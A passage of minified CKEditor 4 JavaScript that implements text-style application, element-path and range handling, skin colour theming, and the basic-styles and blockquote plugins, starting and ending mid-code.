this._.enterMode==CKEDITOR.ENTER_BR?null:a.document.createElement(this._.enterMode==CKEDITOR.ENTER_P?"p":"div"))&&d.copyAttributes(e);j(d,e)}else s.call(this,d);a.moveToBookmark(b)}function j(a,b){var c=!b;if(c){b=a.getDocument().createElement("div");a.copyAttributes(b)}var d=b&&b.is("pre"),e=a.is("pre"),f=!d&&e;if(d&&!e){e=b;(f=a.getBogus())&&f.remove();f=a.getHtml();f=m(f,/(?:^[ \t\n\r]+)|(?:[ \t\n\r]+$)/g,"");f=f.replace(/[ \t\r\n]*(<br[^>]*>)[ \t\r\n]*/gi,"$1");f=f.replace(/([ \t\n\r]+|&nbsp;)/g,
" ");f=f.replace(/<br\b[^>]*>/gi,"\n");if(CKEDITOR.env.ie){var h=a.getDocument().createElement("div");h.append(e);e.$.outerHTML="<pre>"+f+"</pre>";e.copyAttributes(h.getFirst());e=h.getFirst().remove()}else e.setHtml(f);b=e}else f?b=y(c?[a.getHtml()]:g(a),b):a.moveChildren(b);b.replace(a);if(d){var c=b,i;if((i=c.getPrevious(F))&&i.type==CKEDITOR.NODE_ELEMENT&&i.is("pre")){d=m(i.getHtml(),/\n$/,"")+"\n\n"+m(c.getHtml(),/^\n/,"");CKEDITOR.env.ie?c.$.outerHTML="<pre>"+d+"</pre>":c.setHtml(d);i.remove()}}else c&&
t(b)}function g(a){var b=[];m(a.getOuterHtml(),/(\S\s*)\n(?:\s|(<span[^>]+data-cke-bookmark.*?\/span>))*\n(?!$)/gi,function(a,b,c){return b+"</pre>"+c+"<pre>"}).replace(/<pre\b.*?>([\s\S]*?)<\/pre>/gi,function(a,c){b.push(c)});return b}function m(a,b,c){var d="",e="",a=a.replace(/(^<span[^>]+data-cke-bookmark.*?\/span>)|(<span[^>]+data-cke-bookmark.*?\/span>$)/gi,function(a,b,c){b&&(d=b);c&&(e=c);return""});return d+a.replace(b,c)+e}function y(a,b){var c;a.length>1&&(c=new CKEDITOR.dom.documentFragment(b.getDocument()));
for(var d=0;d<a.length;d++){var e=a[d],e=e.replace(/(\r\n|\r)/g,"\n"),e=m(e,/^[ \t]*\n/,""),e=m(e,/\n$/,""),e=m(e,/^[ \t]+|[ \t]+$/g,function(a,b){return a.length==1?"&nbsp;":b?" "+CKEDITOR.tools.repeat("&nbsp;",a.length-1):CKEDITOR.tools.repeat("&nbsp;",a.length-1)+" "}),e=e.replace(/\n/g,"<br>"),e=e.replace(/[ \t]{2,}/g,function(a){return CKEDITOR.tools.repeat("&nbsp;",a.length-1)+" "});if(c){var f=b.clone();f.setHtml(e);c.append(f)}else b.setHtml(e)}return c||b}function s(a,b){var c=this._.definition,
d=c.attributes,c=c.styles,e=o(this)[a.getName()],f=CKEDITOR.tools.isEmpty(d)&&CKEDITOR.tools.isEmpty(c),g;for(g in d)if(!((g=="class"||this._.definition.fullMatch)&&a.getAttribute(g)!=l(g,d[g]))&&!(b&&g.slice(0,5)=="data-")){f=a.hasAttribute(g);a.removeAttribute(g)}for(var h in c)if(!(this._.definition.fullMatch&&a.getStyle(h)!=l(h,c[h],true))){f=f||!!a.getStyle(h);a.removeStyle(h)}q(a,e,r[a.getName()]);f&&(this._.definition.alwaysRemoveElement?t(a,1):!CKEDITOR.dtd.$block[a.getName()]||this._.enterMode==
CKEDITOR.ENTER_BR&&!a.hasAttributes()?t(a):a.renameNode(this._.enterMode==CKEDITOR.ENTER_P?"p":"div"))}function w(a){for(var b=o(this),c=a.getElementsByTag(this.element),d,e=c.count();--e>=0;){d=c.getItem(e);d.isReadOnly()||s.call(this,d,true)}for(var f in b)if(f!=this.element){c=a.getElementsByTag(f);for(e=c.count()-1;e>=0;e--){d=c.getItem(e);d.isReadOnly()||q(d,b[f])}}}function q(a,b,c){if(b=b&&b.attributes)for(var d=0;d<b.length;d++){var e=b[d][0],f;if(f=a.getAttribute(e)){var g=b[d][1];(g===null||
g.test&&g.test(f)||typeof g=="string"&&f==g)&&a.removeAttribute(e)}}c||t(a)}function t(a,b){if(!a.hasAttributes()||b)if(CKEDITOR.dtd.$block[a.getName()]){var c=a.getPrevious(F),d=a.getNext(F);c&&(c.type==CKEDITOR.NODE_TEXT||!c.isBlockBoundary({br:1}))&&a.append("br",1);d&&(d.type==CKEDITOR.NODE_TEXT||!d.isBlockBoundary({br:1}))&&a.append("br");a.remove(true)}else{c=a.getFirst();d=a.getLast();a.remove(true);if(c){c.type==CKEDITOR.NODE_ELEMENT&&c.mergeSiblings();d&&(!c.equals(d)&&d.type==CKEDITOR.NODE_ELEMENT)&&
d.mergeSiblings()}}}function i(a,b,c){var d;d=a.element;d=="*"&&(d="span");d=new CKEDITOR.dom.element(d,b);c&&c.copyAttributes(d);d=A(d,a);b.getCustomData("doc_processing_style")&&d.hasAttribute("id")?d.removeAttribute("id"):b.setCustomData("doc_processing_style",1);return d}function A(a,b){var c=b._.definition,d=c.attributes,c=CKEDITOR.style.getStyleText(c);if(d)for(var e in d)a.setAttribute(e,d[e]);c&&a.setAttribute("style",c);return a}function u(a,b){for(var c in a)a[c]=a[c].replace(C,function(a,
c){return b[c]})}function o(a){if(a._.overrides)return a._.overrides;var b=a._.overrides={},c=a._.definition.overrides;if(c){CKEDITOR.tools.isArray(c)||(c=[c]);for(var d=0;d<c.length;d++){var e=c[d],f,g;if(typeof e=="string")f=e.toLowerCase();else{f=e.element?e.element.toLowerCase():a.element;g=e.attributes}e=b[f]||(b[f]={});if(g){var e=e.attributes=e.attributes||[],h;for(h in g)e.push([h.toLowerCase(),g[h]])}}}return b}function l(a,b,c){var d=new CKEDITOR.dom.element("span");d[c?"setStyle":"setAttribute"](a,
b);return d[c?"getStyle":"getAttribute"](a)}function p(a,b,c){for(var d=a.document,e=a.getRanges(),b=b?this.removeFromRange:this.applyToRange,f,g=e.createIterator();f=g.getNextRange();)b.call(this,f,c);a.selectRanges(e);d.removeCustomData("doc_processing_style")}var r={address:1,div:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,p:1,pre:1,section:1,header:1,footer:1,nav:1,article:1,aside:1,figure:1,dialog:1,hgroup:1,time:1,meter:1,menu:1,command:1,keygen:1,output:1,progress:1,details:1,datagrid:1,datalist:1},n=
{a:1,blockquote:1,embed:1,hr:1,img:1,li:1,object:1,ol:1,table:1,td:1,tr:1,th:1,ul:1,dl:1,dt:1,dd:1,form:1,audio:1,video:1},P=/\s*(?:;\s*|$)/,C=/#\((.+?)\)/g,L=CKEDITOR.dom.walker.bookmark(0,1),F=CKEDITOR.dom.walker.whitespaces(1);CKEDITOR.style=function(a,b){if(typeof a.type=="string")return new CKEDITOR.style.customHandlers[a.type](a);var c=a.attributes;if(c&&c.style){a.styles=CKEDITOR.tools.extend({},a.styles,CKEDITOR.tools.parseCssText(c.style));delete c.style}if(b){a=CKEDITOR.tools.clone(a);u(a.attributes,
b);u(a.styles,b)}c=this.element=a.element?typeof a.element=="string"?a.element.toLowerCase():a.element:"*";this.type=a.type||(r[c]?CKEDITOR.STYLE_BLOCK:n[c]?CKEDITOR.STYLE_OBJECT:CKEDITOR.STYLE_INLINE);if(typeof this.element=="object")this.type=CKEDITOR.STYLE_OBJECT;this._={definition:a}};CKEDITOR.style.prototype={apply:function(a){if(a instanceof CKEDITOR.dom.document)return p.call(this,a.getSelection());if(this.checkApplicable(a.elementPath(),a)){var b=this._.enterMode;if(!b)this._.enterMode=a.activeEnterMode;
p.call(this,a.getSelection(),0,a);this._.enterMode=b}},remove:function(a){if(a instanceof CKEDITOR.dom.document)return p.call(this,a.getSelection(),1);if(this.checkApplicable(a.elementPath(),a)){var b=this._.enterMode;if(!b)this._.enterMode=a.activeEnterMode;p.call(this,a.getSelection(),1,a);this._.enterMode=b}},applyToRange:function(a){this.applyToRange=this.type==CKEDITOR.STYLE_INLINE?f:this.type==CKEDITOR.STYLE_BLOCK?h:this.type==CKEDITOR.STYLE_OBJECT?e:null;return this.applyToRange(a)},removeFromRange:function(a){this.removeFromRange=
this.type==CKEDITOR.STYLE_INLINE?b:this.type==CKEDITOR.STYLE_BLOCK?k:this.type==CKEDITOR.STYLE_OBJECT?d:null;return this.removeFromRange(a)},applyToObject:function(a){A(a,this)},checkActive:function(a,b){switch(this.type){case CKEDITOR.STYLE_BLOCK:return this.checkElementRemovable(a.block||a.blockLimit,true,b);case CKEDITOR.STYLE_OBJECT:case CKEDITOR.STYLE_INLINE:for(var c=a.elements,d=0,e;d<c.length;d++){e=c[d];if(!(this.type==CKEDITOR.STYLE_INLINE&&(e==a.block||e==a.blockLimit))){if(this.type==
CKEDITOR.STYLE_OBJECT){var f=e.getName();if(!(typeof this.element=="string"?f==this.element:f in this.element))continue}if(this.checkElementRemovable(e,true,b))return true}}}return false},checkApplicable:function(a,b,c){b&&b instanceof CKEDITOR.filter&&(c=b);if(c&&!c.check(this))return false;switch(this.type){case CKEDITOR.STYLE_OBJECT:return!!a.contains(this.element);case CKEDITOR.STYLE_BLOCK:return!!a.blockLimit.getDtd()[this.element]}return true},checkElementMatch:function(a,b){var c=this._.definition;
if(!a||!c.ignoreReadonly&&a.isReadOnly())return false;var d=a.getName();if(typeof this.element=="string"?d==this.element:d in this.element){if(!b&&!a.hasAttributes())return true;if(d=c._AC)c=d;else{var d={},e=0,f=c.attributes;if(f)for(var g in f){e++;d[g]=f[g]}if(g=CKEDITOR.style.getStyleText(c)){d.style||e++;d.style=g}d._length=e;c=c._AC=d}if(c._length){for(var h in c)if(h!="_length"){e=a.getAttribute(h)||"";if(h=="style")a:{d=c[h];typeof d=="string"&&(d=CKEDITOR.tools.parseCssText(d));typeof e==
"string"&&(e=CKEDITOR.tools.parseCssText(e,true));g=void 0;for(g in d)if(!(g in e&&(e[g]==d[g]||d[g]=="inherit"||e[g]=="inherit"))){d=false;break a}d=true}else d=c[h]==e;if(d){if(!b)return true}else if(b)return false}if(b)return true}else return true}return false},checkElementRemovable:function(a,b,c){if(this.checkElementMatch(a,b,c))return true;if(b=o(this)[a.getName()]){var d;if(!(b=b.attributes))return true;for(c=0;c<b.length;c++){d=b[c][0];if(d=a.getAttribute(d)){var e=b[c][1];if(e===null)return true;
if(typeof e=="string"){if(d==e)return true}else if(e.test(d))return true}}}return false},buildPreview:function(a){var b=this._.definition,c=[],d=b.element;d=="bdo"&&(d="span");var c=["<",d],e=b.attributes;if(e)for(var f in e)c.push(" ",f,'="',e[f],'"');(e=CKEDITOR.style.getStyleText(b))&&c.push(' style="',e,'"');c.push(">",a||b.name,"</",d,">");return c.join("")},getDefinition:function(){return this._.definition}};CKEDITOR.style.getStyleText=function(a){var b=a._ST;if(b)return b;var b=a.styles,c=
a.attributes&&a.attributes.style||"",d="";c.length&&(c=c.replace(P,";"));for(var e in b){var f=b[e],g=(e+":"+f).replace(P,";");f=="inherit"?d=d+g:c=c+g}c.length&&(c=CKEDITOR.tools.normalizeCssText(c,true));return a._ST=c+d};CKEDITOR.style.customHandlers={};CKEDITOR.style.addCustomHandler=function(a){var b=function(a){this._={definition:a};this.setup&&this.setup(a)};b.prototype=CKEDITOR.tools.extend(CKEDITOR.tools.prototypedCopy(CKEDITOR.style.prototype),{assignedTo:CKEDITOR.STYLE_OBJECT},a,true);
return this.customHandlers[a.type]=b};var K=CKEDITOR.POSITION_PRECEDING|CKEDITOR.POSITION_IDENTICAL|CKEDITOR.POSITION_IS_CONTAINED,I=CKEDITOR.POSITION_FOLLOWING|CKEDITOR.POSITION_IDENTICAL|CKEDITOR.POSITION_IS_CONTAINED})();CKEDITOR.styleCommand=function(a,f){this.requiredContent=this.allowedContent=this.style=a;CKEDITOR.tools.extend(this,f,true)};
CKEDITOR.styleCommand.prototype.exec=function(a){a.focus();this.state==CKEDITOR.TRISTATE_OFF?a.applyStyle(this.style):this.state==CKEDITOR.TRISTATE_ON&&a.removeStyle(this.style)};CKEDITOR.stylesSet=new CKEDITOR.resourceManager("","stylesSet");CKEDITOR.addStylesSet=CKEDITOR.tools.bind(CKEDITOR.stylesSet.add,CKEDITOR.stylesSet);CKEDITOR.loadStylesSet=function(a,f,b){CKEDITOR.stylesSet.addExternal(a,f,"");CKEDITOR.stylesSet.load(a,b)};
CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{attachStyleStateChange:function(a,f){var b=this._.styleStateChangeCallbacks;if(!b){b=this._.styleStateChangeCallbacks=[];this.on("selectionChange",function(a){for(var e=0;e<b.length;e++){var d=b[e],f=d.style.checkActive(a.data.path,this)?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF;d.fn.call(this,f)}})}b.push({style:a,fn:f})},applyStyle:function(a){a.apply(this)},removeStyle:function(a){a.remove(this)},getStylesSet:function(a){if(this._.stylesDefinitions)a(this._.stylesDefinitions);
else{var f=this,b=f.config.stylesCombo_stylesSet||f.config.stylesSet;if(b===false)a(null);else if(b instanceof Array){f._.stylesDefinitions=b;a(b)}else{b||(b="default");var b=b.split(":"),c=b[0];CKEDITOR.stylesSet.addExternal(c,b[1]?b.slice(1).join(":"):CKEDITOR.getUrl("styles.js"),"");CKEDITOR.stylesSet.load(c,function(b){f._.stylesDefinitions=b[c];a(f._.stylesDefinitions)})}}}});
CKEDITOR.dom.comment=function(a,f){typeof a=="string"&&(a=(f?f.$:document).createComment(a));CKEDITOR.dom.domObject.call(this,a)};CKEDITOR.dom.comment.prototype=new CKEDITOR.dom.node;CKEDITOR.tools.extend(CKEDITOR.dom.comment.prototype,{type:CKEDITOR.NODE_COMMENT,getOuterHtml:function(){return"<\!--"+this.$.nodeValue+"--\>"}});"use strict";
(function(){var a={},f={},b;for(b in CKEDITOR.dtd.$blockLimit)b in CKEDITOR.dtd.$list||(a[b]=1);for(b in CKEDITOR.dtd.$block)b in CKEDITOR.dtd.$blockLimit||b in CKEDITOR.dtd.$empty||(f[b]=1);CKEDITOR.dom.elementPath=function(b,e){var d=null,h=null,k=[],j=b,g,e=e||b.getDocument().getBody();do if(j.type==CKEDITOR.NODE_ELEMENT){k.push(j);if(!this.lastElement){this.lastElement=j;if(j.is(CKEDITOR.dtd.$object)||j.getAttribute("contenteditable")=="false")continue}if(j.equals(e))break;if(!h){g=j.getName();
j.getAttribute("contenteditable")=="true"?h=j:!d&&f[g]&&(d=j);if(a[g]){var m;if(m=!d){if(g=g=="div"){a:{g=j.getChildren();m=0;for(var y=g.count();m<y;m++){var s=g.getItem(m);if(s.type==CKEDITOR.NODE_ELEMENT&&CKEDITOR.dtd.$block[s.getName()]){g=true;break a}}g=false}g=!g}m=g}m?d=j:h=j}}}while(j=j.getParent());h||(h=e);this.block=d;this.blockLimit=h;this.root=e;this.elements=k}})();
CKEDITOR.dom.elementPath.prototype={compare:function(a){var f=this.elements,a=a&&a.elements;if(!a||f.length!=a.length)return false;for(var b=0;b<f.length;b++)if(!f[b].equals(a[b]))return false;return true},contains:function(a,f,b){var c;typeof a=="string"&&(c=function(b){return b.getName()==a});a instanceof CKEDITOR.dom.element?c=function(b){return b.equals(a)}:CKEDITOR.tools.isArray(a)?c=function(b){return CKEDITOR.tools.indexOf(a,b.getName())>-1}:typeof a=="function"?c=a:typeof a=="object"&&(c=
function(b){return b.getName()in a});var e=this.elements,d=e.length;f&&d--;if(b){e=Array.prototype.slice.call(e,0);e.reverse()}for(f=0;f<d;f++)if(c(e[f]))return e[f];return null},isContextFor:function(a){var f;if(a in CKEDITOR.dtd.$block){f=this.contains(CKEDITOR.dtd.$intermediate)||this.root.equals(this.block)&&this.block||this.blockLimit;return!!f.getDtd()[a]}return true},direction:function(){return(this.block||this.blockLimit||this.root).getDirection(1)}};
CKEDITOR.dom.text=function(a,f){typeof a=="string"&&(a=(f?f.$:document).createTextNode(a));this.$=a};CKEDITOR.dom.text.prototype=new CKEDITOR.dom.node;
CKEDITOR.tools.extend(CKEDITOR.dom.text.prototype,{type:CKEDITOR.NODE_TEXT,getLength:function(){return this.$.nodeValue.length},getText:function(){return this.$.nodeValue},setText:function(a){this.$.nodeValue=a},split:function(a){var f=this.$.parentNode,b=f.childNodes.length,c=this.getLength(),e=this.getDocument(),d=new CKEDITOR.dom.text(this.$.splitText(a),e);if(f.childNodes.length==b)if(a>=c){d=e.createText("");d.insertAfter(this)}else{a=e.createText("");a.insertAfter(d);a.remove()}return d},substring:function(a,
f){return typeof f!="number"?this.$.nodeValue.substr(a):this.$.nodeValue.substring(a,f)}});
(function(){function a(a,c,e){var d=a.serializable,f=c[e?"endContainer":"startContainer"],k=e?"endOffset":"startOffset",j=d?c.document.getById(a.startNode):a.startNode,a=d?c.document.getById(a.endNode):a.endNode;if(f.equals(j.getPrevious())){c.startOffset=c.startOffset-f.getLength()-a.getPrevious().getLength();f=a.getNext()}else if(f.equals(a.getPrevious())){c.startOffset=c.startOffset-f.getLength();f=a.getNext()}f.equals(j.getParent())&&c[k]++;f.equals(a.getParent())&&c[k]++;c[e?"endContainer":"startContainer"]=
f;return c}CKEDITOR.dom.rangeList=function(a){if(a instanceof CKEDITOR.dom.rangeList)return a;a?a instanceof CKEDITOR.dom.range&&(a=[a]):a=[];return CKEDITOR.tools.extend(a,f)};var f={createIterator:function(){var a=this,c=CKEDITOR.dom.walker.bookmark(),e=[],d;return{getNextRange:function(f){d=d===void 0?0:d+1;var k=a[d];if(k&&a.length>1){if(!d)for(var j=a.length-1;j>=0;j--)e.unshift(a[j].createBookmark(true));if(f)for(var g=0;a[d+g+1];){for(var m=k.document,f=0,j=m.getById(e[g].endNode),m=m.getById(e[g+
1].startNode);;){j=j.getNextSourceNode(false);if(m.equals(j))f=1;else if(c(j)||j.type==CKEDITOR.NODE_ELEMENT&&j.isBlockBoundary())continue;break}if(!f)break;g++}for(k.moveToBookmark(e.shift());g--;){j=a[++d];j.moveToBookmark(e.shift());k.setEnd(j.endContainer,j.endOffset)}}return k}}},createBookmarks:function(b){for(var c=[],e,d=0;d<this.length;d++){c.push(e=this[d].createBookmark(b,true));for(var f=d+1;f<this.length;f++){this[f]=a(e,this[f]);this[f]=a(e,this[f],true)}}return c},createBookmarks2:function(a){for(var c=
[],e=0;e<this.length;e++)c.push(this[e].createBookmark2(a));return c},moveToBookmarks:function(a){for(var c=0;c<this.length;c++)this[c].moveToBookmark(a[c])}}})();
(function(){function a(){return CKEDITOR.getUrl(CKEDITOR.skinName.split(",")[1]||"skins/"+CKEDITOR.skinName.split(",")[0]+"/")}function f(b){var c=CKEDITOR.skin["ua_"+b],d=CKEDITOR.env;if(c)for(var c=c.split(",").sort(function(a,b){return a>b?-1:1}),e=0,f;e<c.length;e++){f=c[e];if(d.ie&&(f.replace(/^ie/,"")==d.version||d.quirks&&f=="iequirks"))f="ie";if(d[f]){b=b+("_"+c[e]);break}}return CKEDITOR.getUrl(a()+b+".css")}function b(a,b){if(!d[a]){CKEDITOR.document.appendStyleSheet(f(a));d[a]=1}b&&b()}
function c(a){var b=a.getById(h);if(!b){b=a.getHead().append("style");b.setAttribute("id",h);b.setAttribute("type","text/css")}return b}function e(a,b,c){var d,e,f;if(CKEDITOR.env.webkit){b=b.split("}").slice(0,-1);for(e=0;e<b.length;e++)b[e]=b[e].split("{")}for(var h=0;h<a.length;h++)if(CKEDITOR.env.webkit)for(e=0;e<b.length;e++){f=b[e][1];for(d=0;d<c.length;d++)f=f.replace(c[d][0],c[d][1]);a[h].$.sheet.addRule(b[e][0],f)}else{f=b;for(d=0;d<c.length;d++)f=f.replace(c[d][0],c[d][1]);CKEDITOR.env.ie&&
CKEDITOR.env.version<11?a[h].$.styleSheet.cssText=a[h].$.styleSheet.cssText+f:a[h].$.innerHTML=a[h].$.innerHTML+f}}var d={};CKEDITOR.skin={path:a,loadPart:function(c,d){CKEDITOR.skin.name!=CKEDITOR.skinName.split(",")[0]?CKEDITOR.scriptLoader.load(CKEDITOR.getUrl(a()+"skin.js"),function(){b(c,d)}):b(c,d)},getPath:function(a){return CKEDITOR.getUrl(f(a))},icons:{},addIcon:function(a,b,c,d){a=a.toLowerCase();this.icons[a]||(this.icons[a]={path:b,offset:c||0,bgsize:d||"16px"})},getIconStyle:function(a,
b,c,d,e){var f;if(a){a=a.toLowerCase();b&&(f=this.icons[a+"-rtl"]);f||(f=this.icons[a])}a=c||f&&f.path||"";d=d||f&&f.offset;e=e||f&&f.bgsize||"16px";return a&&"background-image:url("+CKEDITOR.getUrl(a)+");background-position:0 "+d+"px;background-size:"+e+";"}};CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{getUiColor:function(){return this.uiColor},setUiColor:function(a){var b=c(CKEDITOR.document);return(this.setUiColor=function(a){this.uiColor=a;var c=CKEDITOR.skin.chameleon,d="",f="";if(typeof c==
"function"){d=c(this,"editor");f=c(this,"panel")}a=[[j,a]];e([b],d,a);e(k,f,a)}).call(this,a)}});var h="cke_ui_color",k=[],j=/\$color/g;CKEDITOR.on("instanceLoaded",function(a){if(!CKEDITOR.env.ie||!CKEDITOR.env.quirks){var b=a.editor,a=function(a){a=(a.data[0]||a.data).element.getElementsByTag("iframe").getItem(0).getFrameDocument();if(!a.getById("cke_ui_color")){a=c(a);k.push(a);var d=b.getUiColor();d&&e([a],CKEDITOR.skin.chameleon(b,"panel"),[[j,d]])}};b.on("panelShow",a);b.on("menuShow",a);b.config.uiColor&&
b.setUiColor(b.config.uiColor)}})})();
(function(){if(CKEDITOR.env.webkit)CKEDITOR.env.hc=false;else{var a=CKEDITOR.dom.element.createFromHtml('<div style="width:0;height:0;position:absolute;left:-10000px;border:1px solid;border-color:red blue"></div>',CKEDITOR.document);a.appendTo(CKEDITOR.document.getHead());try{var f=a.getComputedStyle("border-top-color"),b=a.getComputedStyle("border-right-color");CKEDITOR.env.hc=!!(f&&f==b)}catch(c){CKEDITOR.env.hc=false}a.remove()}if(CKEDITOR.env.hc)CKEDITOR.env.cssClass=CKEDITOR.env.cssClass+" cke_hc";
CKEDITOR.document.appendStyleText(".cke{visibility:hidden;}");CKEDITOR.status="loaded";CKEDITOR.fireOnce("loaded");if(a=CKEDITOR._.pending){delete CKEDITOR._.pending;for(f=0;f<a.length;f++){CKEDITOR.editor.prototype.constructor.apply(a[f][0],a[f][1]);CKEDITOR.add(a[f][0])}}})();/*
 Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
 For licensing, see LICENSE.md or http://ckeditor.com/license
*/
CKEDITOR.skin.name="moono";CKEDITOR.skin.ua_editor="ie,iequirks,ie7,ie8,gecko";CKEDITOR.skin.ua_dialog="ie,iequirks,ie7,ie8";
CKEDITOR.skin.chameleon=function(){var b=function(){return function(b,e){for(var a=b.match(/[^#]./g),c=0;3>c;c++){var f=a,h=c,d;d=parseInt(a[c],16);d=("0"+(0>e?0|d*(1+e):0|d+(255-d)*e).toString(16)).slice(-2);f[h]=d}return"#"+a.join("")}}(),c=function(){var b=new CKEDITOR.template("background:#{to};background-image:-webkit-gradient(linear,lefttop,leftbottom,from({from}),to({to}));background-image:-moz-linear-gradient(top,{from},{to});background-image:-webkit-linear-gradient(top,{from},{to});background-image:-o-linear-gradient(top,{from},{to});background-image:-ms-linear-gradient(top,{from},{to});background-image:linear-gradient(top,{from},{to});filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='{from}',endColorstr='{to}');");return function(c,
a){return b.output({from:c,to:a})}}(),f={editor:new CKEDITOR.template("{id}.cke_chrome [border-color:{defaultBorder};] {id} .cke_top [ {defaultGradient}border-bottom-color:{defaultBorder};] {id} .cke_bottom [{defaultGradient}border-top-color:{defaultBorder};] {id} .cke_resizer [border-right-color:{ckeResizer}] {id} .cke_dialog_title [{defaultGradient}border-bottom-color:{defaultBorder};] {id} .cke_dialog_footer [{defaultGradient}outline-color:{defaultBorder};border-top-color:{defaultBorder};] {id} .cke_dialog_tab [{lightGradient}border-color:{defaultBorder};] {id} .cke_dialog_tab:hover [{mediumGradient}] {id} .cke_dialog_contents [border-top-color:{defaultBorder};] {id} .cke_dialog_tab_selected, {id} .cke_dialog_tab_selected:hover [background:{dialogTabSelected};border-bottom-color:{dialogTabSelectedBorder};] {id} .cke_dialog_body [background:{dialogBody};border-color:{defaultBorder};] {id} .cke_toolgroup [{lightGradient}border-color:{defaultBorder};] {id} a.cke_button_off:hover, {id} a.cke_button_off:focus, {id} a.cke_button_off:active [{mediumGradient}] {id} .cke_button_on [{ckeButtonOn}] {id} .cke_toolbar_separator [background-color: {ckeToolbarSeparator};] {id} .cke_combo_button [border-color:{defaultBorder};{lightGradient}] {id} a.cke_combo_button:hover, {id} a.cke_combo_button:focus, {id} .cke_combo_on a.cke_combo_button [border-color:{defaultBorder};{mediumGradient}] {id} .cke_path_item [color:{elementsPathColor};] {id} a.cke_path_item:hover, {id} a.cke_path_item:focus, {id} a.cke_path_item:active [background-color:{elementsPathBg};] {id}.cke_panel [border-color:{defaultBorder};] "),
panel:new CKEDITOR.template(".cke_panel_grouptitle [{lightGradient}border-color:{defaultBorder};] .cke_menubutton_icon [background-color:{menubuttonIcon};] .cke_menubutton:hover .cke_menubutton_icon, .cke_menubutton:focus .cke_menubutton_icon, .cke_menubutton:active .cke_menubutton_icon [background-color:{menubuttonIconHover};] .cke_menuseparator [background-color:{menubuttonIcon};] a:hover.cke_colorbox, a:focus.cke_colorbox, a:active.cke_colorbox [border-color:{defaultBorder};] a:hover.cke_colorauto, a:hover.cke_colormore, a:focus.cke_colorauto, a:focus.cke_colormore, a:active.cke_colorauto, a:active.cke_colormore [background-color:{ckeColorauto};border-color:{defaultBorder};] ")};
return function(g,e){var a=g.uiColor,a={id:"."+g.id,defaultBorder:b(a,-0.1),defaultGradient:c(b(a,0.9),a),lightGradient:c(b(a,1),b(a,0.7)),mediumGradient:c(b(a,0.8),b(a,0.5)),ckeButtonOn:c(b(a,0.6),b(a,0.7)),ckeResizer:b(a,-0.4),ckeToolbarSeparator:b(a,0.5),ckeColorauto:b(a,0.8),dialogBody:b(a,0.7),dialogTabSelected:c("#FFFFFF","#FFFFFF"),dialogTabSelectedBorder:"#FFF",elementsPathColor:b(a,-0.6),elementsPathBg:a,menubuttonIcon:b(a,0.5),menubuttonIconHover:b(a,0.3)};return f[e].output(a).replace(/\[/g,
"{").replace(/\]/g,"}")}}();CKEDITOR.plugins.add("basicstyles",{init:function(c){var e=0,d=function(g,d,b,a){if(a){var a=new CKEDITOR.style(a),f=h[b];f.unshift(a);c.attachStyleStateChange(a,function(a){!c.readOnly&&c.getCommand(b).setState(a)});c.addCommand(b,new CKEDITOR.styleCommand(a,{contentForms:f}));c.ui.addButton&&c.ui.addButton(g,{label:d,command:b,toolbar:"basicstyles,"+(e+=10)})}},h={bold:["strong","b",["span",function(a){a=a.styles["font-weight"];return"bold"==a||700<=+a}]],italic:["em","i",["span",function(a){return"italic"==
a.styles["font-style"]}]],underline:["u",["span",function(a){return"underline"==a.styles["text-decoration"]}]],strike:["s","strike",["span",function(a){return"line-through"==a.styles["text-decoration"]}]],subscript:["sub"],superscript:["sup"]},b=c.config,a=c.lang.basicstyles;d("Bold",a.bold,"bold",b.coreStyles_bold);d("Italic",a.italic,"italic",b.coreStyles_italic);d("Underline",a.underline,"underline",b.coreStyles_underline);d("Strike",a.strike,"strike",b.coreStyles_strike);d("Subscript",a.subscript,
"subscript",b.coreStyles_subscript);d("Superscript",a.superscript,"superscript",b.coreStyles_superscript);c.setKeystroke([[CKEDITOR.CTRL+66,"bold"],[CKEDITOR.CTRL+73,"italic"],[CKEDITOR.CTRL+85,"underline"]])}});CKEDITOR.config.coreStyles_bold={element:"strong",overrides:"b"};CKEDITOR.config.coreStyles_italic={element:"em",overrides:"i"};CKEDITOR.config.coreStyles_underline={element:"u"};CKEDITOR.config.coreStyles_strike={element:"s",overrides:"strike"};CKEDITOR.config.coreStyles_subscript={element:"sub"};
CKEDITOR.config.coreStyles_superscript={element:"sup"};(function(){var k={exec:function(g){var a=g.getCommand("blockquote").state,i=g.getSelection(),c=i&&i.getRanges()[0];if(c){var h=i.createBookmarks();if(CKEDITOR.env.ie){var e=h[0].startNode,b=h[0].endNode,d;if(e&&"blockquote"==e.getParent().getName())for(d=e;d=d.getNext();)if(d.type==CKEDITOR.NODE_ELEMENT&&d.isBlockBoundary()){e.move(d,!0);break}if(b&&"blockquote"==b.getParent().getName())for(d=b;d=d.getPrevious();)if(d.type==CKEDITOR.NODE_ELEMENT&&d.isBlockBoundary()){b.move(d);break}}var f=c.createIterator();
f.enlargeBr=g.config.enterMode!=CKEDITOR.ENTER_BR;if(a==CKEDITOR.TRISTATE_OFF){for(e=[];a=f.getNextParagraph();)e.push(a);1>e.length&&(a=g.document.createElement(g.config.enterMode==CKEDITOR.ENTER_P?"p":"div"),b=h.shift(),c.insertNode(a),a.append(new CKEDITOR.dom.text("﻿",g.document)),c.moveToBookmark(b),c.selectNodeContents(a),c.collapse(!0),b=c.createBookmark(),e.push(a),h.unshift(b));d=e[0].getParent();c=[];for(b=0;b<e.length;b++)a=e[b],d=d.getCommonAncestor(a.getParent());for(a={table:1,tbody:1,
tr:1,ol:1,ul:1};a[d.getName()];)d=d.getParent();for(b=null;0<e.length;){for(a=e.shift();!a.getParent().equals(d);)a=a.getParent();a.equals(b)||c.push(a);b=a}for(;0<c.length;)if(a=c.shift(),"blockquote"==a.getName()){for(b=new CKEDITOR.dom.documentFragment(g.document);a.getFirst();)b.append(a.getFirst().remove()),e.push(b.getLast());b.replace(a)}else e.push(a);c=g.document.createElement("blockquote");for(c.insertBefore(e[0]);0<e.length;)a=e.shift(),c.append(a)}else if(a==CKEDITOR.TRISTATE_ON){b=[];
